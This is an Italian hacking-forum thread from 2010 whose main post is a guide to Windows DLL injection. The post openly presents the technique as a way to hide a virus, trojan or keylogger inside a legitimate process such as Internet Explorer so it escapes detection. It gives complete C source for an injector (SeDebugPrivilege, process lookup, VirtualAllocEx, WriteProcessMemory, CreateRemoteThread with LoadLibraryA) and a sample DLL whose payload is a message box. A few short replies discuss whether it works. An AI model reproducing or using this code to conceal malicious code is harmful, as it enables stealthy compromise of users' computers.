Dll Injection

« Older   Newer »
 
  Share  
.
  1.     +1   -1
     
    .
    Avatar

    Senior Member

    Group
    Member
    Posts
    32,721
    Reputation
    0

    Status
    Anonymous

    Dll Injection



    Ti è piaciuta questa guida? Registrati al forum, per poter commentare e goderti le news e i vari articoli presenti nel forum! E ricordatevi di esprimere i vostri commenti!


    Cos'è la tecnica dll injection consente di "agganciare" una dll ad un processo in esecuzione nel sistema operativo a ci cosa serve: serve a mascherare l'esecuzione di codice maligno presente nella dll che verrà eseguita da un processo legale sul sistema, in altre parole se scriviamo un virus nella dll, esso non comparirà nell'elenco dei processi e quindi non desterà alcun sospetto e il nostro virus o trojan (o keylogger) che sia sarà difficilissiimo da individuare meccanismo di funzionamento: vogliamo far eseguire all' Internet Explorer o qualsiasi processo attivo nel sistema la nostra dll maligna. Preleviamo allora il pid del processo in esecuzione sul sistema operativo ed una volta ricevuto possiamo creare un thread all'interno del processo dell' Internet Explorer; questo thread aprirà la dll kernel32 la quale possiede una funzione, la LoadLibraryA che aprirà la dll fatta da noi. Il mascheramento avviene proprio a questo punto poichè la dll non è aperta dal nostro programma, che comparirebbe nell'elenco dei processi attivi, bensì dal processo dell' Internet Explorer! Nell'esempio la dll mostra una messagebox ma ovviamente il codice potrebbe fare qualsiasi cosa:

    Codice dell'injector.c, da compilare come applicazione windows con il dev-c++
    CODICE
    /*************************************
    *  created by Komrade
    *  http://unsecure.altervista.org
    *************************************/

    #include <stdio.h>
    #include <windows.h>

    /********************************************************************
    trova il Process Identifier di un processo passato come parametro

    parametri:
           procName = nome del processo di cui trovare il PID
           log = puntatore al file utilizzato come log
    valore ritorno:
           PID del processo in caso di successo, -1 in caso di errore

    *********************************************************************/
    int trovaPid(char *procName, FILE *log);

    /********************************************************************
    abilita il privilegio SE_DEBUG_NAME al processo in esecuzione

    parametri:
           log = puntatore al file utilizzato come log
    valore ritorno:
           1 in caso di successo, 0 in caso di errore

    *********************************************************************/
    int abilitaSeDebugName(FILE *log);

    int main(int argc, char **argv){
           char processName[] = "iexplore.exe"; /* Nome processo su cui effettuare injection */
           char logFile[]= "log.txt"; /* Nome del file di log per controllare successo o fallimento operazioni */
           char dllName[]="injection.dll"; /* Nome dll da cui prelevare il codice da iniettare */

           HANDLE proc, thread;
           DWORD threadId, bWritten;
           BOOL check;
           VOID *remoteBuff;
           DWORD pid;
           FILE *fp;

           fp = fopen(logFile, "w");
           fprintf(fp, "Looking for: %­snn", processName);

           pid = trovaPid(processName, fp);

           if(pid == 0xFFFFFFFF){
                   fprintf(fp, "nProcess not foundn");
                   return 0;
           }

           check = abilitaSeDebugName(fp);
           if (check == 0){
                   fprintf(fp, "nAbilitazione privilegio SE_DEBUG_NAME fallitan");
           }

           proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
           if (proc == NULL){
                   fprintf(fp, "Errore OpenProcess() %dn", GetLastError());
                   return -1;
           }

           remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
           if (remoteBuff == NULL){
                   fprintf(fp, "Errore VirtualAllocEx() %dn", GetLastError());
                   return -1;
           }
           else
                   fprintf(fp, "nCreati %d bytes all' indirizzo 0x%­xn", strlen(dllName), (ULONG)remoteBuff);

           check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
           if (check == 0){
                   fprintf(fp, "Errore WriteProcessMemory() %dn", GetLastError());
                   return -1;
           }

           thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
           if (thread == NULL)
                   fprintf(fp, "Errore CreateRemoteThread() %dn", GetLastError());
       fprintf(fp, "CreateThread %dn", GetLastError());
           fprintf(fp, "nInjection eseguitan");
           fclose(fp);
           return 0;
    }

    int trovaPid(char *procName, FILE *log){

           typedef struct _LSA_UNICODE_STRING { /* struttura dati di una stringa Unicode */
                   USHORT Length;
                   USHORT MaximumLength;
                     PWSTR Buffer;
           } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

           typedef struct _STRING { /* struttura dati di una stringa Ansi */
                     USHORT  Length;
                     USHORT  MaximumLength;
                     PCHAR  Buffer;
           } ANSI_STRING, *PANSI_STRING;

           typedef enum _SYSTEM_INFORMATION_CLASS {
           SystemBasicInformation,
           SystemProcessorInformation,
           SystemPerformanceInformation,
           SystemTimeOfDayInformation,
           SystemNotImplemented1,
           SystemProcessesAndThreadsInformation,
           SystemCallCounts,
           SystemConfigurationInformation,
           SystemProcessorTimes,
           SystemGlobalFlag,
           SystemNotImplemented2,
           SystemModuleInformation,
           }SYSTEM_INFORMATION_CLASS;

           typedef struct _SYSTEM_PROCESSES { /* Informazioni sui processi di sistema (struttura non completa) */
                   ULONG NextEntryDelta;
                   ULONG ThreadCount;
                   ULONG Reserved1[6];
                   LARGE_INTEGER CreateTime;
                   LARGE_INTEGER UserTime;
                   LARGE_INTEGER KernelTime;
                   UNICODE_STRING ProcessName;
                   ULONG BasePriority;
                   ULONG ProcessId;
           } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

           /* Definizione delle funzioni non presenti nei compilatori tradizionali */
           typedef DWORD (WINAPI *PfZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PBYTE, ULONG, PULONG);
           typedef DWORD (WINAPI *PfRtlAnsiStringToUnicodeString)(PUNICODE_STRING, PANSI_STRING, BOOL);
           typedef DWORD (WINAPI *PfRtlUnicodeStringToAnsiString)(PANSI_STRING, PUNICODE_STRING, BOOL);
           typedef DWORD (WINAPI *PfRtlCompareUnicodeString)(PUNICODE_STRING, PUNICODE_STRING, BOOL);

           PfZwQuerySystemInformation MyZwQuerySystemInformation;
           PfRtlAnsiStringToUnicodeString MyRtlAnsiStringToUnicodeString;
           PfRtlUnicodeStringToAnsiString MyRtlUnicodeStringToAnsiString;
           PfRtlCompareUnicodeString MyRtlCompareUnicodeString;


           BOOL check;
           int pid = -1;
           void *pStruct; /* buffer per contenere la struttura delle informazioni sui processi */
           ULONG dimBuffer = 0x20000; /* dimensione del buffer pStruct (64 Kb) */
           PSYSTEM_PROCESSES sp;
           ANSI_STRING buffAnsi;
           UNICODE_STRING buffUni;
           ULONG dimRich;


           buffAnsi.Buffer = (PCHAR)malloc(lstrlenA(procName) + 1);

           lstrcpyA(buffAnsi.Buffer, procName);
           buffAnsi.Length = lstrlenA(buffAnsi.Buffer);
           buffAnsi.MaximumLength = lstrlenA(buffAnsi.Buffer);

           MyRtlAnsiStringToUnicodeString = (PfRtlAnsiStringToUnicodeString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlAnsiStringToUnicodeString");
           MyRtlAnsiStringToUnicodeString(&buffUni, &buffAnsi, TRUE);

           pStruct = (void *)malloc(dimBuffer);

           MyZwQuerySystemInformation = (PfZwQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "ZwQuerySystemInformation");
           check = MyZwQuerySystemInformation(SystemProcessesAndThreadsInformation, (PBYTE)pStruct, dimBuffer, &dimRich);
           if (check != 0){
                   fprintf(log, "Errore ZwQuerySystemInformation() dimensione minima buffer: 0x%­xn", dimRich);
                   return -1;
           }

           /* ciclo di ricerca del processo da terminare */
           do{
                   sp = (PSYSTEM_PROCESSES) pStruct;
                   MyRtlUnicodeStringToAnsiString = (PfRtlUnicodeStringToAnsiString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlUnicodeStringToAnsiString");
                   MyRtlUnicodeStringToAnsiString(&buffAnsi, &(sp->ProcessName), TRUE);

                   fprintf(log, "Process Name: %­stProcess ID: %dn", buffAnsi.Buffer, sp->ProcessId);

                   MyRtlCompareUnicodeString = (PfRtlCompareUnicodeString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlCompareUnicodeString");
                   check = MyRtlCompareUnicodeString(&buffUni, &(sp->ProcessName), TRUE);
                   if (check == 0){
                           fprintf(log, "FOUND!!n");
                           pid = sp->ProcessId;
                   }
                   pStruct = (void*)((ULONG)pStruct + sp->NextEntryDelta);
           }
           while(sp->NextEntryDelta != 0);

           return pid;
    }

    int abilitaSeDebugName(FILE *log){
           BOOL check;
           HANDLE currProc, tok;
           LUID lu_sdn;
           TOKEN_PRIVILEGES tp;
           LUID_AND_ATTRIBUTES luaa;

           currProc = GetCurrentProcess();
           if (currProc == NULL){
                   fprintf(log, "Errore GetCurrentProcess() %dn", GetLastError());
                   return 0;
           }

           check = OpenProcessToken(currProc, TOKEN_ALL_ACCESS, &tok);
           if (check == 0){
                   fprintf(log, "Errore OpenProcessToken() %dn", GetLastError());
                   return 0;
           }

           check = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &lu_sdn);
           if (check == 0){
                   fprintf(log, "Errore LookupPrivilegeValue() %dn", GetLastError());
                   return 0;
           }

           /* abilitazione del privilegio SE_DEBUG_NAME */
           tp.PrivilegeCount = 1;
           luaa.Luid = lu_sdn;
           luaa.Attributes = SE_PRIVILEGE_ENABLED;
           tp.Privileges[0] = luaa;

           check = AdjustTokenPrivileges(tok, FALSE, &tp, sizeof(tp), NULL, NULL);
           if (check == 0){
                   fprintf(log, "Errore AdjustTokenPrivileges() %dn", GetLastError());
                   return 0;
           }
           return 1;
    }


    di seguito il codice della dll, da compilare come progetto dll sempre col dev-c++:

    file dll.h

    CODICE
    #ifndef _DLL_H_
    #define _DLL_H_

    #if BUILDING_DLL
    # define DLLIMPORT __declspec (dllexport)
    #else /* Not BUILDING_DLL */
    # define DLLIMPORT __declspec (dllimport)
    #endif /* Not BUILDING_DLL */


    DLLIMPORT void HelloWorld (void);


    #endif /* _DLL_H_ */


    file dllmain.c:

    CODICE
    /* Replace "dll.h" with the name of your header */
    #include "dll.h"
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>

    DLLIMPORT void HelloWorld ()
    {
       MessageBox (0, "Hello World from DLL!n", "Hi", MB_ICONINFORMATION);
    }


    BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                          DWORD reason        /* Reason this function is being called. */ ,
                          LPVOID reserved     /* Not used. */ )
    {
       switch (reason)
       {
         case DLL_PROCESS_ATTACH:
           MessageBox(0, "Codice eseguito!!!!", "DLL Loaded", MB_OK);         return TRUE;

         case DLL_PROCESS_DETACH:
           break;

         case DLL_THREAD_ATTACH:
           break;

         case DLL_THREAD_DETACH:
           break;
       }

       /* Returns TRUE on success, FALSE on failure */
       return TRUE;
    }

    Compilare la dll e salvarla come injection.dll, da tenere nella stessa cartella da dove l'injector.exe verrà eseguito.

    Fonte: Secure.altervista.org
     
    Top
    .
  2. Khamel
        +1   -1
     
    .

    User deleted


    Penso riconosca comunque l'antivirus,script acero :kill:
     
    Top
    .
  3. shadowh4ck
        +1   -1
     
    .

    User deleted


    Ciao, grazie mille per il codice che hai postato. Sò che è passato qualche anno, ma spero che tu sia ancora attivo su questo Forum.
    Ho provato ad eseguirlo e anches e la compilazione di entrambe i progetti DevC++ vanno a buon fine, mi ritrovo con il seguente problema.
    Quando lancio l'exe DLLInjector.exe, nel log trovo che ha trovato il processo e che ha fatto correttamente l'injection, ma non mi compare nessun MessageBox con scritto "Codice eseguito!!!!" ossia la scritta da te inserita nel file dellmain.c

    Puoi darmi una mano a capire il problema. Se vuoi puoi scrivermi anche in MP.

    Grazie mille.

    Edited by shadowh4ck - 10/3/2015, 12:50
     
    Top
    .
  4.     +1   -1
     
    .
    Avatar

    - a ogni azione corrisponde una reazione uguale e contraria.

    Group
    Admin
    Posts
    5,307
    Reputation
    +86

    Status
    Offline
    Sono spiacente ma non credo proprio che riceverai una riposta, purtroppo questo forum è chiuso.
     
    Top
    .
3 replies since 24/2/2010, 15:07   184 views
  Share  
.